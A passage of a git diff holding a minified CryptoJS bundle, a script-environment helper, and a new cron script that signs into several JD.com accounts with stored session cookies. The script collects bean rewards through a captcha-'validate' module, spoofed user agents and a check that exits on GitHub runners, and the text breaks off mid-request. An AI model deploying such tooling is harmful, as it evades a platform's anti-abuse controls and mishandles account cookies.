r=4*e,i=r-t.sigBytes%r;t.concat(mt.lib.WordArray.random(i-1)).concat(mt.lib.WordArray.create([i<<24],1))},unpad:function(t){var e=255&t.words[t.sigBytes-1>>>2];t.sigBytes-=e}},mt.pad.Iso97971={pad:function(t,e){t.concat(mt.lib.WordArray.create([2147483648],1)),mt.pad.ZeroPadding.pad(t,e)},unpad:function(t){mt.pad.ZeroPadding.unpad(t),t.sigBytes--}},mt.mode.OFB=(rt=(et=mt.lib.BlockCipherMode.extend()).Encryptor=et.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._keystream;n&&(o=this._keystream=n.slice(0),this._iv=void 0),r.encryptBlock(o,0);for(var s=0;s>>8^255&p^99,i[r]=p;var _=t[n[p]=r],v=t[_],y=t[v],g=257*t[p]^16843008*p;o[r]=g<<24|g>>>8,s[r]=g<<16|g>>>16,c[r]=g<<8|g>>>24,a[r]=g,g=16843009*y^65537*v^257*_^16843008*r,h[p]=g<<24|g>>>8,l[p]=g<<16|g>>>16,f[p]=g<<8|g>>>24,d[p]=g,r?(r=_^t[t[t[y^_]]],u^=t[t[u]]):r=u=1}}();var u=[0,1,2,4,8,16,32,64,128,27,54],p=r.AES=e.extend({_doReset:function(){if(!this._nRounds||this._keyPriorReset!==this._key){for(var t=this._keyPriorReset=this._key,e=t.words,r=t.sigBytes/4,n=4*(1+(this._nRounds=6+r)),o=this._keySchedule=[],s=0;s>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p]):(p=i[(p=p<<8|p>>>24)>>>24]<<24|i[p>>>16&255]<<16|i[p>>>8&255]<<8|i[255&p],p^=u[s/r|0]<<24),o[s]=o[s-r]^p);for(var c=this._invKeySchedule=[],a=0;a>>24]]^l[i[p>>>16&255]]^f[i[p>>>8&255]]^d[i[255&p]]}}},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._keySchedule,o,s,c,a,i)},decryptBlock:function(t,e){var r=t[e+1];t[e+1]=t[e+3],t[e+3]=r,this._doCryptBlock(t,e,this._invKeySchedule,h,l,f,d,n),r=t[e+1],t[e+1]=t[e+3],t[e+3]=r},_doCryptBlock:function(t,e,r,i,n,o,s,c){for(var a=this._nRounds,h=t[e]^r[0],l=t[e+1]^r[1],f=t[e+2]^r[2],d=t[e+3]^r[3],u=4,p=1;p>>24]^n[l>>>16&255]^o[f>>>8&255]^s[255&d]^r[u++],v=i[l>>>24]^n[f>>>16&255]^o[d>>>8&255]^s[255&h]^r[u++],y=i[f>>>24]^n[d>>>16&255]^o[h>>>8&255]^s[255&l]^r[u++],g=i[d>>>24]^n[h>>>16&255]^o[l>>>8&255]^s[255&f]^r[u++];h=_,l=v,f=y,d=g}_=(c[h>>>24]<<24|c[l>>>16&255]<<16|c[f>>>8&255]<<8|c[255&d])^r[u++],v=(c[l>>>24]<<24|c[f>>>16&255]<<16|c[d>>>8&255]<<8|c[255&h])^r[u++],y=(c[f>>>24]<<24|c[d>>>16&255]<<16|c[h>>>8&255]<<8|c[255&l])^r[u++],g=(c[d>>>24]<<24|c[h>>>16&255]<<16|c[l>>>8&255]<<8|c[255&f])^r[u++],t[e]=_,t[e+1]=v,t[e+2]=y,t[e+3]=g},keySize:8});t.AES=e._createHelper(p)}(),function(){var t=mt,e=t.lib,r=e.WordArray,i=e.BlockCipher,n=t.algo,o=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4],s=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32],c=[1,2,4,6,8,10,12,14,15,17,19,21,23,25,27,28],a=[{0:8421888,268435456:32768,536870912:8421378,805306368:2,1073741824:512,1342177280:8421890,1610612736:8389122,1879048192:8388608,2147483648:514,2415919104:8389120,2684354560:33280,2952790016:8421376,3221225472:32770,3489660928:8388610,3758096384:0,4026531840:33282,134217728:0,402653184:8421890,671088640:33282,939524096:32768,1207959552:8421888,1476395008:512,1744830464:8421378,2013265920:2,2281701376:8389120,2550136832:33280,2818572288:8421376,3087007744:8389122,3355443200:8388610,3623878656:32770,3892314112:514,4160749568:8388608,1:32768,268435457:2,536870913:8421888,805306369:8388608,1073741825:8421378,1342177281:33280,1610612737:512,1879048193:8389122,2147483649:8421890,2415919105:8421376,2684354561:8388610,2952790017:33282,3221225473:514,3489660929:8389120,3758096385:32770,4026531841:0,134217729:8421890,402653185:8421376,671088641:8388608,939524097:512,1207959553:32768,1476395009:8388610,1744830465:2,2013265921:33282,2281701377:32770,2550136833:8389122,2818572289:514,3087007745:8421888,3355443201:8389120,3623878657:0,3892314113:33280,4160749569:8421378},{0:1074282512,16777216:16384,33554432:524288,50331648:1074266128,67108864:1073741840,83886080:1074282496,100663296:1073758208,117440512:16,134217728:540672,150994944:1073758224,167772160:1073741824,184549376:540688,201326592:524304,218103808:0,234881024:16400,251658240:1074266112,8388608:1073758208,25165824:540688,41943040:16,58720256:1073758224,75497472:1074282512,92274688:1073741824,109051904:524288,125829120:1074266128,142606336:524304,159383552:0,176160768:16384,192937984:1074266112,209715200:1073741840,226492416:540672,243269632:1074282496,260046848:16400,268435456:0,285212672:1074266128,301989888:1073758224,318767104:1074282496,335544320:1074266112,352321536:16,369098752:540688,385875968:16384,402653184:16400,419430400:524288,436207616:524304,452984832:1073741840,469762048:540672,486539264:1073758208,503316480:1073741824,520093696:1074282512,276824064:540688,293601280:524288,310378496:1074266112,327155712:16384,343932928:1073758208,360710144:1074282512,377487360:16,394264576:1073741824,411041792:1074282496,427819008:1073741840,444596224:1073758224,461373440:524304,478150656:0,494927872:16400,511705088:1074266128,528482304:540672},{0:260,1048576:0,2097152:67109120,3145728:65796,4194304:65540,5242880:67108868,6291456:67174660,7340032:67174400,8388608:67108864,9437184:67174656,10485760:65792,11534336:67174404,12582912:67109124,13631488:65536,14680064:4,15728640:256,524288:67174656,1572864:67174404,2621440:0,3670016:67109120,4718592:67108868,5767168:65536,6815744:65540,7864320:260,8912896:4,9961472:256,11010048:67174400,12058624:65796,13107200:65792,14155776:67109124,15204352:67174660,16252928:67108864,16777216:67174656,17825792:65540,18874368:65536,19922944:67109120,20971520:256,22020096:67174660,23068672:67108868,24117248:0,25165824:67109124,26214400:67108864,27262976:4,28311552:65792,29360128:67174400,30408704:260,31457280:65796,32505856:67174404,17301504:67108864,18350080:260,19398656:67174656,20447232:0,21495808:65540,22544384:67109120,23592960:256,24641536:67174404,25690112:65536,26738688:67174660,27787264:65796,28835840:67108868,29884416:67109124,30932992:67174400,31981568:4,33030144:65792},{0:2151682048,65536:2147487808,131072:4198464,196608:2151677952,262144:0,327680:4198400,393216:2147483712,458752:4194368,524288:2147483648,589824:4194304,655360:64,720896:2147487744,786432:2151678016,851968:4160,917504:4096,983040:2151682112,32768:2147487808,98304:64,163840:2151678016,229376:2147487744,294912:4198400,360448:2151682112,425984:0,491520:2151677952,557056:4096,622592:2151682048,688128:4194304,753664:4160,819200:2147483648,884736:4194368,950272:4198464,1015808:2147483712,1048576:4194368,1114112:4198400,1179648:2147483712,1245184:0,1310720:4160,1376256:2151678016,1441792:2151682048,1507328:2147487808,1572864:2151682112,1638400:2147483648,1703936:2151677952,1769472:4198464,1835008:2147487744,1900544:4194304,1966080:64,2031616:4096,1081344:2151677952,1146880:2151682112,1212416:0,1277952:4198400,1343488:4194368,1409024:2147483648,1474560:2147487808,1540096:64,1605632:2147483712,1671168:4096,1736704:2147487744,1802240:2151678016,1867776:4160,1933312:2151682048,1998848:4194304,2064384:4198464},{0:128,4096:17039360,8192:262144,12288:536870912,16384:537133184,20480:16777344,24576:553648256,28672:262272,32768:16777216,36864:537133056,40960:536871040,45056:553910400,49152:553910272,53248:0,57344:17039488,61440:553648128,2048:17039488,6144:553648256,10240:128,14336:17039360,18432:262144,22528:537133184,26624:553910272,30720:536870912,34816:537133056,38912:0,43008:553910400,47104:16777344,51200:536871040,55296:553648128,59392:16777216,63488:262272,65536:262144,69632:128,73728:536870912,77824:553648256,81920:16777344,86016:553910272,90112:537133184,94208:16777216,98304:553910400,102400:553648128,106496:17039360,110592:537133056,114688:262272,118784:536871040,122880:0,126976:17039488,67584:553648256,71680:16777216,75776:17039360,79872:537133184,83968:536870912,88064:17039488,92160:128,96256:553910272,100352:262272,104448:553910400,108544:0,112640:553648128,116736:16777344,120832:262144,124928:537133056,129024:536871040},{0:268435464,256:8192,512:270532608,768:270540808,1024:268443648,1280:2097152,1536:2097160,1792:268435456,2048:0,2304:268443656,2560:2105344,2816:8,3072:270532616,3328:2105352,3584:8200,3840:270540800,128:270532608,384:270540808,640:8,896:2097152,1152:2105352,1408:268435464,1664:268443648,1920:8200,2176:2097160,2432:8192,2688:268443656,2944:270532616,3200:0,3456:270540800,3712:2105344,3968:268435456,4096:268443648,4352:270532616,4608:270540808,4864:8200,5120:2097152,5376:268435456,5632:268435464,5888:2105344,6144:2105352,6400:0,6656:8,6912:270532608,7168:8192,7424:268443656,7680:270540800,7936:2097160,4224:8,4480:2105344,4736:2097152,4992:268435464,5248:268443648,5504:8200,5760:270540808,6016:270532608,6272:270540800,6528:270532616,6784:8192,7040:2105352,7296:2097160,7552:0,7808:268435456,8064:268443656},{0:1048576,16:33555457,32:1024,48:1049601,64:34604033,80:0,96:1,112:34603009,128:33555456,144:1048577,160:33554433,176:34604032,192:34603008,208:1025,224:1049600,240:33554432,8:34603009,24:0,40:33555457,56:34604032,72:1048576,88:33554433,104:33554432,120:1025,136:1049601,152:33555456,168:34603008,184:1048577,200:1024,216:34604033,232:1,248:1049600,256:33554432,272:1048576,288:33555457,304:34603009,320:1048577,336:33555456,352:34604032,368:1049601,384:1025,400:34604033,416:1049600,432:1,448:0,464:34603008,480:33554433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); +} + + + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_sign_graphics1.js b/jd_sign_graphics1.js new file mode 100644 index 0000000..f3fc791 --- /dev/null +++ b/jd_sign_graphics1.js @@ -0,0 +1,270 @@ +/* +cron 10 8 * * * jd_sign_graphics1.js +只支持nodejs环境 +需要安装依赖 +npm i png-js 或者 npm i png-js -S + +*/ + +const Faker = require('./sign_graphics_validate.js') +const $ = new Env('京东签到翻牌'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let message = '', subTitle = '', beanNum = 0; +let fp = '' +let eid = '' +let UA = "" +let signFlag = false +let successNum = 0 +let errorNum = 0 +let JD_API_HOST = 'https://sendbeans.jd.com' +const turnTableId = [ + // { "name": "美妆-1", "id": 293, "shopid": 30284, "url": "https://sendbeans.jd.com/jump/index/" }, + // { "name": "美妆-2", "id": 1162, "shopid": 56178, "url": "https://sendbeans.jd.com/jump/index/" }, + { "name": "美妆-3", "id": 1082, "shopid": 1000004123, "url": "https://sendbeans.jd.com/jump/index/" }, +] + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.nickName = ''; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + beanNum = 0 + successNum = 0 + errorNum = 0 + subTitle = ''; + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + getUA() + await signRun() + const UTC8 = new Date().getTime() + new Date().getTimezoneOffset() * 60000 + 28800000; + $.beanSignTime = new Date(UTC8).toLocaleString('zh', { hour12: false }); + let msg = `【京东账号${$.index}】${$.nickName || $.UserName}\n【签到时间】: ${$.beanSignTime}\n【签到概览】: 成功${successNum}个, 失败${errorNum}个\n${beanNum > 0 && "【签到奖励】: " + beanNum + "京豆" || ""}\n` + message += msg + '\n' + $.msg($.name, msg); + } + } + // await showMsg(); +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function showMsg() { + $.msg($.name, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); + if ($.isNode() && message) await notify.sendNotify(`${$.name}`, `【签到数量】: ${turnTableId.length}个\n` + subTitle + message); +} +async function signRun() { + for (let i in turnTableId) { + signFlag = false + await Login(i) + if (signFlag) { + successNum++; + } else { + errorNum++; + } + await $.wait(1000) + } +} + +function Sign(i) { + return new Promise(resolve => { + const options = { + url: `${JD_API_HOST}/api/turncard/chat/sign?turnTableId=${turnTableId[i].id}&shopId=${turnTableId[i].shopid}&fp=${fp}&eid=${eid}`, + headers: { + "Accept": "application/json, 